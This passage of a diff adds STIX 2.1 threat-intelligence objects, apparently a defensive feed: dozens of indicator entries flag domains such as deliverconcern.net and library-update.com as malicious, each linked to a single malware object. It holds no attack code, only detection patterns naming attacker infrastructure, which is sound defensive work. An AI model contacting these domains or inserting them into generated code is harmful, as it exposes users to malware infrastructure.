"2025-08-08T19:03:18.795507Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='deliverconcern.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.795507Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3a6d30b1-d257-4b13-a3d7-8f46a81920d4", + "created": "2025-08-08T19:03:18.795882Z", + "modified": "2025-08-08T19:03:18.795882Z", + "relationship_type": "indicates", + "source_ref": "indicator--a2b45609-c644-496e-b0a2-767440c00361", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ff56bf4e-40d7-48cc-907c-361d7e4ffed2", + "created": "2025-08-08T19:03:18.796034Z", + "modified": "2025-08-08T19:03:18.796034Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bizarreclassify.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.796034Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--135de986-3ebc-40c5-8f73-3b6414fe7b52", + "created": "2025-08-08T19:03:18.796434Z", + "modified": "2025-08-08T19:03:18.796434Z", + "relationship_type": "indicates", + "source_ref": "indicator--ff56bf4e-40d7-48cc-907c-361d7e4ffed2", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--44a85ed6-f35f-4852-a7bd-a84eaf9b72e6", + "created": "2025-08-08T19:03:18.79656Z", + "modified": "2025-08-08T19:03:18.79656Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='golfconcert.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.79656Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--dc04c468-0ca7-4c4d-a0f5-70766f8ccd4a", + "created": "2025-08-08T19:03:18.796933Z", + "modified": "2025-08-08T19:03:18.796933Z", + "relationship_type": "indicates", + "source_ref": "indicator--44a85ed6-f35f-4852-a7bd-a84eaf9b72e6", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--28022b01-87f9-4e26-92bf-85688140759e", + "created": "2025-08-08T19:03:18.797055Z", + "modified": "2025-08-08T19:03:18.797055Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='jobmarcher.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.797055Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f7c446d9-749b-4f3a-bc45-5328b2d44716", + "created": "2025-08-08T19:03:18.797475Z", + "modified": "2025-08-08T19:03:18.797475Z", + "relationship_type": "indicates", + "source_ref": "indicator--28022b01-87f9-4e26-92bf-85688140759e", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a69477bf-236b-4f80-a46e-d4ccef654f08", + "created": "2025-08-08T19:03:18.79766Z", + "modified": "2025-08-08T19:03:18.79766Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='browniebell.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.79766Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--14f0c298-fb3f-4ece-a6ea-a33cc26ca1cc", + "created": "2025-08-08T19:03:18.798271Z", + "modified": "2025-08-08T19:03:18.798271Z", + "relationship_type": "indicates", + "source_ref": "indicator--a69477bf-236b-4f80-a46e-d4ccef654f08", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--08e421c3-db12-457b-96cd-ba937e2bc386", + "created": "2025-08-08T19:03:18.798405Z", + "modified": "2025-08-08T19:03:18.798405Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='baseagriculture.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.798405Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0b151fd7-fbd0-4994-8fdc-3907177a2372", + "created": "2025-08-08T19:03:18.798803Z", + "modified": "2025-08-08T19:03:18.798803Z", + "relationship_type": "indicates", + "source_ref": "indicator--08e421c3-db12-457b-96cd-ba937e2bc386", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--033494cd-79eb-4317-b951-922aed6f3142", + "created": "2025-08-08T19:03:18.798927Z", + "modified": "2025-08-08T19:03:18.798927Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bypasscommerce.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.798927Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b609dd4d-845e-467a-9f54-cee9a5eb0d7e", + "created": "2025-08-08T19:03:18.799282Z", + "modified": "2025-08-08T19:03:18.799282Z", + "relationship_type": "indicates", + "source_ref": "indicator--033494cd-79eb-4317-b951-922aed6f3142", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9665eb4a-0522-4f7a-96b2-3224b7aec7cc", + "created": "2025-08-08T19:03:18.799399Z", + "modified": "2025-08-08T19:03:18.799399Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='densefoot.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.799399Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--df07d252-9dae-4b17-a212-9ee6eedee0a8", + "created": "2025-08-08T19:03:18.799747Z", + "modified": "2025-08-08T19:03:18.799747Z", + "relationship_type": "indicates", + "source_ref": "indicator--9665eb4a-0522-4f7a-96b2-3224b7aec7cc", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0c28415a-abc2-4a96-8d70-ccea3d47a8a4", + "created": "2025-08-08T19:03:18.799863Z", + "modified": "2025-08-08T19:03:18.799863Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='service-deamon.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.799863Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7f1f6205-90e6-452a-945b-bf9947ae328b", + "created": "2025-08-08T19:03:18.800167Z", + "modified": "2025-08-08T19:03:18.800167Z", + "relationship_type": "indicates", + "source_ref": "indicator--0c28415a-abc2-4a96-8d70-ccea3d47a8a4", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--23dfda37-feb9-45b2-96e3-017901894056", + "created": "2025-08-08T19:03:18.800267Z", + "modified": "2025-08-08T19:03:18.800267Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='library-update.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.800267Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--34ccaa93-c566-42a4-91ed-aa412573edd6", + "created": "2025-08-08T19:03:18.800591Z", + "modified": "2025-08-08T19:03:18.800591Z", + "relationship_type": "indicates", + "source_ref": "indicator--23dfda37-feb9-45b2-96e3-017901894056", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--03b39739-84e2-4a28-9432-e572fa0a35be", + "created": "2025-08-08T19:03:18.800689Z", + "modified": "2025-08-08T19:03:18.800689Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='beneathbreadth.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.800689Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ae68ee26-d499-445c-bc4f-57c6333e39b1", + "created": "2025-08-08T19:03:18.800981Z", + "modified": "2025-08-08T19:03:18.800981Z", + "relationship_type": "indicates", + "source_ref": "indicator--03b39739-84e2-4a28-9432-e572fa0a35be", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--956acc6d-1943-49db-9d2e-b8f8b37be1a7", + "created": "2025-08-08T19:03:18.801086Z", + "modified": "2025-08-08T19:03:18.801086Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='fearevolve.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.801086Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--529f83cc-7eac-49fe-a146-4cb57ca4b1d5", + "created": "2025-08-08T19:03:18.801367Z", + "modified": "2025-08-08T19:03:18.801367Z", + "relationship_type": "indicates", + "source_ref": "indicator--956acc6d-1943-49db-9d2e-b8f8b37be1a7", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4797548f-8b1a-46fb-8c86-7f9e060b591c", + "created": "2025-08-08T19:03:18.80146Z", + "modified": "2025-08-08T19:03:18.80146Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='hilocake.info']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.80146Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c474b279-3f16-4ca6-ac2d-66cfe9911bc3", + "created": "2025-08-08T19:03:18.801785Z", + "modified": "2025-08-08T19:03:18.801785Z", + "relationship_type": "indicates", + "source_ref": "indicator--4797548f-8b1a-46fb-8c86-7f9e060b591c", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5a5d18e9-6da5-46f4-9db2-3064eb49fc6a", + "created": "2025-08-08T19:03:18.801894Z", + "modified": "2025-08-08T19:03:18.801894Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='aperturebelt.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.801894Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1a07a838-19cc-472c-a7ed-077838d12829", + "created": "2025-08-08T19:03:18.802237Z", + "modified": "2025-08-08T19:03:18.802237Z", + "relationship_type": "indicates", + "source_ref": "indicator--5a5d18e9-6da5-46f4-9db2-3064eb49fc6a", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7956fea1-458e-4610-90c5-c65dc4ca619c", + "created": "2025-08-08T19:03:18.80235Z", + "modified": "2025-08-08T19:03:18.80235Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='flexibleelevator.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.80235Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--24a55e9b-6bf8-4203-a20e-7738f91e0eff", + "created": "2025-08-08T19:03:18.802635Z", + "modified": "2025-08-08T19:03:18.802635Z", + "relationship_type": "indicates", + "source_ref": "indicator--7956fea1-458e-4610-90c5-c65dc4ca619c", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a421ece2-8bab-4ab8-aa0e-070fbfb05d7e", + "created": "2025-08-08T19:03:18.802737Z", + "modified": "2025-08-08T19:03:18.802737Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='crossoverdue.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.802737Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--52ac8b39-e6c7-4f57-9c9a-dec7b9016e62", + "created": "2025-08-08T19:03:18.803023Z", + "modified": "2025-08-08T19:03:18.803023Z", + "relationship_type": "indicates", + "source_ref": "indicator--a421ece2-8bab-4ab8-aa0e-070fbfb05d7e", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5629880e-664c-4f24-a2fc-40dc4ce295ec", + "created": "2025-08-08T19:03:18.803118Z", + "modified": "2025-08-08T19:03:18.803118Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='penslice.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.803118Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b808d339-2667-445c-989a-a2bf86dcdc0a", + "created": "2025-08-08T19:03:18.803392Z", + "modified": "2025-08-08T19:03:18.803392Z", + "relationship_type": "indicates", + "source_ref": "indicator--5629880e-664c-4f24-a2fc-40dc4ce295ec", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--74067aa0-46d1-47cf-90c6-cd78dd229ed1", + "created": "2025-08-08T19:03:18.80349Z", + "modified": "2025-08-08T19:03:18.80349Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='measurecabin.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.80349Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--11af8481-86f4-4bb6-bf51-01eac49b9f09", + "created": "2025-08-08T19:03:18.803771Z", + "modified": "2025-08-08T19:03:18.803771Z", + "relationship_type": "indicates", + "source_ref": "indicator--74067aa0-46d1-47cf-90c6-cd78dd229ed1", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2a2bd138-22aa-4c43-b172-43d393c67e17", + "created": "2025-08-08T19:03:18.803863Z", + "modified": "2025-08-08T19:03:18.803863Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='basicstraw.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.803863Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8f6ccce1-e0f1-4469-afd3-29ade48e9477", + "created": "2025-08-08T19:03:18.804165Z", + "modified": "2025-08-08T19:03:18.804165Z", + "relationship_type": "indicates", + "source_ref": "indicator--2a2bd138-22aa-4c43-b172-43d393c67e17", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--965ecf44-794e-4d9e-99bf-48fa90b49f81", + "created": "2025-08-08T19:03:18.804263Z", + "modified": "2025-08-08T19:03:18.804263Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='contradictionblindness.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.804263Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--336ff139-9db5-470d-979a-1ad63cabf8c8", + "created": "2025-08-08T19:03:18.804551Z", + "modified": "2025-08-08T19:03:18.804551Z", + "relationship_type": "indicates", + "source_ref": "indicator--965ecf44-794e-4d9e-99bf-48fa90b49f81", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--43596129-46ba-4a13-bfe9-bc1bb19d9115", + "created": "2025-08-08T19:03:18.804645Z", + "modified": "2025-08-08T19:03:18.804645Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='codeingasmylife.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.804645Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--dccefc66-256f-4b63-a9e4-15fc2635d717", + "created": "2025-08-08T19:03:18.804947Z", + "modified": "2025-08-08T19:03:18.804947Z", + "relationship_type": "indicates", + "source_ref": "indicator--43596129-46ba-4a13-bfe9-bc1bb19d9115", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a64c4f47-adf9-4df5-8225-98e602ab6492", + "created": "2025-08-08T19:03:18.805051Z", + "modified": "2025-08-08T19:03:18.805051Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='spongefruit.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.805051Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3efed158-76a0-4d2e-852a-026d95d7ac43", + "created": "2025-08-08T19:03:18.805382Z", + "modified": "2025-08-08T19:03:18.805382Z", + "relationship_type": "indicates", + "source_ref": "indicator--a64c4f47-adf9-4df5-8225-98e602ab6492", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d551ed01-6a55-42a5-b66a-c754e6b7d7d5", + "created": "2025-08-08T19:03:18.805488Z", + "modified": "2025-08-08T19:03:18.805488Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='distractionfar.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.805488Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--71ea8681-0a38-46fd-b6f2-6646299d2a8c", + "created": "2025-08-08T19:03:18.805782Z", + "modified": "2025-08-08T19:03:18.805782Z", + "relationship_type": "indicates", + "source_ref": "indicator--d551ed01-6a55-42a5-b66a-c754e6b7d7d5", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2307b7f6-b354-4f6b-b6e7-72ad29b8c60c", + "created": "2025-08-08T19:03:18.805892Z", + "modified": "2025-08-08T19:03:18.805892Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='kartingrumble.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.805892Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--362a80d0-28bc-4def-8458-975c82b2658e", + "created": "2025-08-08T19:03:18.80621Z", + "modified": "2025-08-08T19:03:18.80621Z", + "relationship_type": "indicates", + "source_ref": "indicator--2307b7f6-b354-4f6b-b6e7-72ad29b8c60c", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--de4b91cb-efac-4f5e-8d1c-31873abb6217", + "created": "2025-08-08T19:03:18.806311Z", + "modified": "2025-08-08T19:03:18.806311Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='prawnbasket.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.806311Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0b1fb15c-3175-4985-aee3-216b7a7fc2b2", + "created": "2025-08-08T19:03:18.806606Z", + "modified": "2025-08-08T19:03:18.806606Z", + "relationship_type": "indicates", + "source_ref": "indicator--de4b91cb-efac-4f5e-8d1c-31873abb6217", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8099812c-32a6-4dd3-9d54-0981ac647864", + "created": "2025-08-08T19:03:18.806708Z", + "modified": "2025-08-08T19:03:18.806708Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='fileswaper.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.806708Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b80d7481-c9c0-4e73-935c-360bcf40a0c7", + "created": "2025-08-08T19:03:18.806986Z", + "modified": "2025-08-08T19:03:18.806986Z", + "relationship_type": "indicates", + "source_ref": "indicator--8099812c-32a6-4dd3-9d54-0981ac647864", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4a1e50a3-2bcf-47b6-a72b-6dec17671872", + "created": "2025-08-08T19:03:18.807084Z", + "modified": "2025-08-08T19:03:18.807084Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='detaincharity.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.807084Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0f0206f9-a51f-4a55-a088-eb4bd44ccd35", + "created": "2025-08-08T19:03:18.807372Z", + "modified": "2025-08-08T19:03:18.807372Z", + "relationship_type": "indicates", + "source_ref": "indicator--4a1e50a3-2bcf-47b6-a72b-6dec17671872", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9472f88f-768a-40e7-b2c5-e59672724a35", + "created": "2025-08-08T19:03:18.807469Z", + "modified": "2025-08-08T19:03:18.807469Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cottonbread.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.807469Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3e1b3ea4-ead8-4dc8-8980-6ed08b0c2ef7", + "created": "2025-08-08T19:03:18.807753Z", + "modified": "2025-08-08T19:03:18.807753Z", + "relationship_type": "indicates", + "source_ref": "indicator--9472f88f-768a-40e7-b2c5-e59672724a35", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--11fababb-0017-4c3c-b011-c025ee128259", + "created": "2025-08-08T19:03:18.807853Z", + "modified": "2025-08-08T19:03:18.807853Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='containsnow.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.807853Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--efd1361a-286a-4767-a127-ed173ce00093", + "created": "2025-08-08T19:03:18.80815Z", + "modified": "2025-08-08T19:03:18.80815Z", + "relationship_type": "indicates", + "source_ref": "indicator--11fababb-0017-4c3c-b011-c025ee128259", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--50899544-9f43-4be5-abd9-2c9b6b8509e8", + "created": "2025-08-08T19:03:18.808255Z", + "modified": "2025-08-08T19:03:18.808255Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='journeyjest.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.808255Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--70803d99-b53a-46fa-9c81-29bdf17ab93d", + "created": "2025-08-08T19:03:18.808642Z", + "modified": "2025-08-08T19:03:18.808642Z", + "relationship_type": "indicates", + "source_ref": "indicator--50899544-9f43-4be5-abd9-2c9b6b8509e8", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--63de2587-b0a2-4455-8295-ae93fb162776", + "created": "2025-08-08T19:03:18.808745Z", + "modified": "2025-08-08T19:03:18.808745Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ambiguouscommerce.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.808745Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3aa2e0e0-0e34-4a60-b150-158f4dfbcae9", + "created": "2025-08-08T19:03:18.809206Z", + "modified": "2025-08-08T19:03:18.809206Z", + "relationship_type": "indicates", + "source_ref": "indicator--63de2587-b0a2-4455-8295-ae93fb162776", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--93a70d41-c4fa-47e0-b7c8-5c81a2d2ceab", + "created": "2025-08-08T19:03:18.809311Z", + "modified": "2025-08-08T19:03:18.809311Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='outdooutcome.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.809311Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c0ba1ea6-c063-4be5-9346-05a308abc11d", + "created": "2025-08-08T19:03:18.809638Z", + "modified": "2025-08-08T19:03:18.809638Z", + "relationship_type": "indicates", + "source_ref": "indicator--93a70d41-c4fa-47e0-b7c8-5c81a2d2ceab", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6503391b-de3b-4dc3-9d5b-3627b42f90fb", + "created": "2025-08-08T19:03:18.809757Z", + "modified": "2025-08-08T19:03:18.809757Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='hostilefauna.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.809757Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d9ef92a5-f5c2-40ee-86ad-35dd2b3e3083", + "created": "2025-08-08T19:03:18.810136Z", + "modified": "2025-08-08T19:03:18.810136Z", + "relationship_type": "indicates", + "source_ref": "indicator--6503391b-de3b-4dc3-9d5b-3627b42f90fb", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--53973656-d4c2-4912-b729-e09965ff7fab", + "created": "2025-08-08T19:03:18.810245Z", + "modified": "2025-08-08T19:03:18.810245Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='damageconsider.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.810245Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c3eab64e-d318-4a7c-a6e8-2af5c13220b0", + "created": "2025-08-08T19:03:18.810534Z", + "modified": "2025-08-08T19:03:18.810534Z", + "relationship_type": "indicates", + "source_ref": "indicator--53973656-d4c2-4912-b729-e09965ff7fab", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--62a912b1-cbdf-4626-a0cc-7b074dc0fbc5", + "created": "2025-08-08T19:03:18.810637Z", + "modified": "2025-08-08T19:03:18.810637Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='pochtarossiy.info']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.810637Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--05644d97-01a5-473e-b632-7d27052a49d3", + "created": "2025-08-08T19:03:18.810915Z", + "modified": "2025-08-08T19:03:18.810915Z", + "relationship_type": "indicates", + "source_ref": "indicator--62a912b1-cbdf-4626-a0cc-7b074dc0fbc5", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--83c240f5-c50f-488e-b15e-d026b23e9672", + "created": "2025-08-08T19:03:18.811012Z", + "modified": "2025-08-08T19:03:18.811012Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='asknapkin.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.811012Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--448458b2-8275-4aa0-97f2-548c8507b8ce", + "created": "2025-08-08T19:03:18.811292Z", + "modified": "2025-08-08T19:03:18.811292Z", + "relationship_type": "indicates", + "source_ref": "indicator--83c240f5-c50f-488e-b15e-d026b23e9672", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--afeac4d7-ae0a-4d79-b13d-333a43178453", + "created": "2025-08-08T19:03:18.811387Z", + "modified": "2025-08-08T19:03:18.811387Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='notableexam.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2025-08-08T19:03:18.811387Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--918339ba-d0d3-438a-b431-f8402e61d13b", + "created": "2025-08-08T19:03:18.811671Z", + "modified": "2025-08-08T19:03:18.811671Z", + "relationship_type": "indicates", + "source_ref": "indicator--afeac4d7-ae0a-4d79-b13d-333a43178453", + "target_ref": "malware--8d79ec64-3dd4-485f-b6b7-e112ce818782" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ab0578a1-596f-4fef-b136-7615b5501d1f", + "created": 